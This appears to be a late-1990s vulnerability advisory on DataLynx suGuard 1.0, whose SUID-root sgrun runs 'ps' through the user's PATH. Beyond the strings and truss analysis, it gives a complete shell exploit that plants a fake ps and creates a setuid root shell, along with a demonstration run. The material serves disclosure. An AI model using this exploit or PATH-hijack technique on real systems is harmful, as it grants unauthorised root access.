Vulnerability

    suGuard

Affected

    Systems with suGuard rev 1.0 from DataLynx

Description

    Following is  based on  L0pht Advisory  and was  discovered by Dr.
    Mudge.  During a cursory examination of DataLynx's suGuard program
    to  exploit  /tmp  vulnerabilities,  much  more  blatent  security
    problems were uncovered.  In particular, a process listing is  run
    from suGuard's main application.   The first instance of the  'ps'
    program found in the users  PATH environment is assumed to  be the
    valid ps  program and  is run  with root  privileges.   sgrun, the
    datalynx  program,  is  SUID  root  and  as  such enables any user
    configured for suGuard to execute arbitrary commands as root.
    Example:

        [furby-death] ./dlx_sploit.sh /bin/datalynx/sgrun Identify
        datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com]

        Segmentation Fault
        root shell created as ./sushi

        [furby-death] ls -l sushi
        -r-sr-xr-x   1 root     other     186356 Oct  1 14:25 sushi
        [furby-death] ./sushi
        #

    suGuard is a commercial product put out by a company name DataLynx
    It  is  basically  sudo  with  a  GUI  interface  and  some  other
    functionality.  Since  it  is   designed  to  manage   priviledged
    execution of programs is installed SUID root.  A quick  strings(1)
    shows several likely problems in the code:

        71800 /tmp
        74192 /tmp/dxpids.%d
        74208 ps -ef > %s
        78600 /tmp/gdtemp1
        78616 ps -ef > %s

    The /tmp  lines show  improper usage  of the  /tmp directory while
    the ps lines indicate what is most likely the args to a s{n}printf
    that will  be handed  off for  execution.   A quick  nm(1) further
    validates our concerns:

        0000204184 U popen
        0000203536 U execvp

    There  are  a  couple  of  quick  attacks to attempt here.  First,
    playing with the path and second playing with the field  seperator
    IFS (both work here by the way).  truss'ing the program will  show
    the problems in  much more detail  [note: Identify is  the profile
    name Dr. M. gave /bin/id for sgrun - see the suGuard documentation
    for how to set these up]:

        truss -f -o xxx /bin/datalynx/sgrun Identify
        grep ps xxx
        [snip]
        15651:  stat64("/usr/sbin/ps", 0xEFFFF2D8)              Err#2 ENOENT
        15651:  stat64("/usr/bin/ps", 0xEFFFF2D8)               = 0
        15651:  access("/usr/bin/ps", 9)                        = 0
        15653:  execve("/usr/bin/ps", 0x00038B78, 0x00038BAC)  argc = 2
        [snip]

    The above trace segment shows  the walking of PATH directories  to
    find ps and then execute it  with the arguments we noted from  the
    strings(1) run.  This is what we expect since ps was not given  an
    explicit path  and the  calls for  execution were  either popen or
    execvp, both of which  would follow the PATH  environment variable
    to  find  the  executable.   Though  we  exercise  this particular
    problem,  it  should  be  noted  that  several others exist in the
    program.  Exploit code:

    #!/bin/sh
    # sgrun exploit - the types of vulnerabilities that this exploit exercises
    #  have no right being introduced to code in this day and age. Much less
    #  code which presents itself under the pretenses of securing your system.
    #   .mudge 01.02.99
    #
    SUSHI=./sushi

    if [ $# -ne 2 ] ; then
      echo Must specify path to sgrun [/bin/datalynx/sgrun] and sgrun argument
      echo  mudge@l0pht.com [01.02.99]
      exit 1
    fi

    SGRUN=$1
    ARG=$2

    if [ -f ${SUSHI} ] ; then
      echo root shell already created?
      exit
    fi

    echo datalynx sgrun proof of concept exploit from L0pht [mudge@l0pht.com]
    echo

    cat > ./ps << FOEFOE
    #!/bin/sh
    cp /bin/ksh ${SUSHI}
    chown root ${SUSHI}
    chmod 4555 ${SUSHI}
    FOEFOE

    chmod 755 ./ps

    PATH=.:${PATH}
    export PATH

    #/bin/datalynx/sgrun Identify
    ${SGRUN} ${ARG}
    if [ -f ${SUSHI} ] ; then
      echo root shell created as ${SUSHI}
      ls -l ${SUSHI}
      echo
    fi

Solution

    Let's hope DataLynx do programing again.